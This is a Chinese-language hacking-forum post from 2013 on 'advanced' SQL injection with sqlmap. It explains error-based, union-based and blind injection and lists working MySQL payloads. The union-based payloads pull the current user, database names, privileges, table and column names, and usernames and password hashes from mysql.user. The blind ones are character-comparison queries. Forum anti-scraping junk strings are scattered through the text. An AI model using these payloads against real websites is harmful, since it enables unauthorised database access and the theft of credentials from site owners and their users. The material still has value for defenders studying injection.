找回密码
 立即注册
查看: 2699|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。. k& |3 t8 P& n- Y# C! W

& _/ I% i* x, E# h这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表2 ^( j+ @0 X& B! i7 t1 r8 T
: R, _* y" J" E$ Z' Z5 p
分类标准        分类        备注
. K( [& J' o( }" M" C( e) \/ k/ m按字段类型        整型注入,字符型注入        - X( P, v' _; z* [8 J+ \
按出现的位置        get注入,post注入,cookie注入,http header注入       
" @% s1 B# S3 d4 s* q然而高级注入是这样的$ G( T2 m; N9 p# K5 l
8 L$ K8 Y- t2 x' z" R) ^/ h. s
高级注入分类        条件6 Q  d9 A* U& R$ i4 W! T$ G
error-based sql        数据库的错误回显可以返回,存在数据库,表结构9 f0 g2 X! b) Q5 X4 n7 s
union-based sql        能够使用union,存在数据库,表结构% V) d1 P) }; S
blind sql        存在注入. l4 B  y0 |5 V" L1 W3 F! c
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
6 }# c) U8 X6 _6 T. K! ~ - j( m% J# G' @1 q% }6 W& z  N
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
  b9 N, P7 A& k; l" K' z! X# w ; D0 y( ?% k: ]' T& T" _2 {
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
0 C$ D2 B3 i* b5 `) S
# {% C+ T) D; \& ]( ?# W7 J$ d这里用mysql说明/ n, a* D! N1 A

; b# d' V0 m7 S& ?& `# ?e注入坛子里很多了,请看戳我或者再戳我
4 r) h  r/ a8 M+ p8 e  `2 c; I 1 x% P! G/ i/ {- Y1 h- L$ P
u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的1 Y4 ~2 x1 e  D1 e9 w! j
2 m  S$ N6 B- F
获取当前数据库用户名
- u; {* T! l9 @% V- ]1 d# f+ u
/ E! q6 V0 L+ Q6 z, d3 y% G6 DUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
7 P" j$ [6 H+ ~3 u, {! n( vAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL# n  d& m3 s, {) L5 y: [5 p
L, NULL#5 c. M) R+ {5 r! U8 g  c0 N: V+ F
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。/ p! U0 M: }/ Y. R% J! V- k

$ \7 Y5 }% `8 N9 D- e获取数据库名, O; n0 |% N) H5 m/ @9 U

) z( ]8 T$ l6 H, O7 g* u3 JUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL## K1 ?' F. {5 m
获取所有用户名) F. f; m  M# F8 D
: N% _$ E7 c8 B8 z2 |" @
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
8 f: i0 N: A. i# V查看当前用户权限5 K  d4 w5 S! u# \
. p# W2 k6 ~" `$ m& H: v
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
, ?4 K2 l/ G( }9 A+ O9 D8 e+ M- t, \尝试获取密码,当然需要有能读mysql数据库的权限
8 x8 g5 L" ?; A, o
/ J0 B! s; A8 DUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
2 j/ `! s4 O* s3 R& A% Q获取表名,limit什么的自己搞啦
$ V, ?5 B) P0 w$ j; H& D
& s" D8 H% ]) [8 k3 M( x! IUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#5 Q3 y% P# u/ }% a( K6 }4 {
获取字段名及其类型
, r4 G  M" F. S1 F/ \! DUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
, p' A! n) s7 \" a+ ^
3 {; y  ]2 g  q) B2 u3 j! Kb注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。! {, g6 w- G' H/ |8 i( v  Y
. y, C9 g4 b3 i
如:3 ]( C' m2 G' j/ w
获取当前用户名
: ?( o  y$ o! j- L
2 C7 L; x0 K( _/ l* ], @- w- rAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116( U* F5 g/ w" i: J, F* z
获取当前数据库
2 \* `3 ^. A. Y6 k, z! C
: I) C7 x2 K2 [AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106* n) K$ f0 _. f* {( j) y, q
获取表名
, ?: s2 ~% X% r8 ]" d' B
" c: p& B7 H; L0 ~3 sAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
9 h0 r: U" _7 O获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
. F" U9 T4 h$ n7 [& q# }回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
, g6 H( b# K0 _1 g爆表( w1 P& t7 @7 w0 V4 Z2 |5 q0 s

- `, b4 H( M2 \, X) d7 uAND EXISTS(select * from table)
' h1 G' `* \( j+ G8 {( U' B3 T1 L爆字段9 {. g6 A  Z' ?# [7 K% h' Y; J% y2 w
+ _/ l3 v# s5 f4 q
AND EXISTS(select pwd from table)
% G2 P' C% p" x: z9 G: c盲注的变化就比较多了,由于篇幅,只是举个例子而已。. N% K1 B- P: J; a
: v* v5 `1 U, S- C4 t
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。/ f) @: b0 k6 U( I; y( ~+ r$ J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表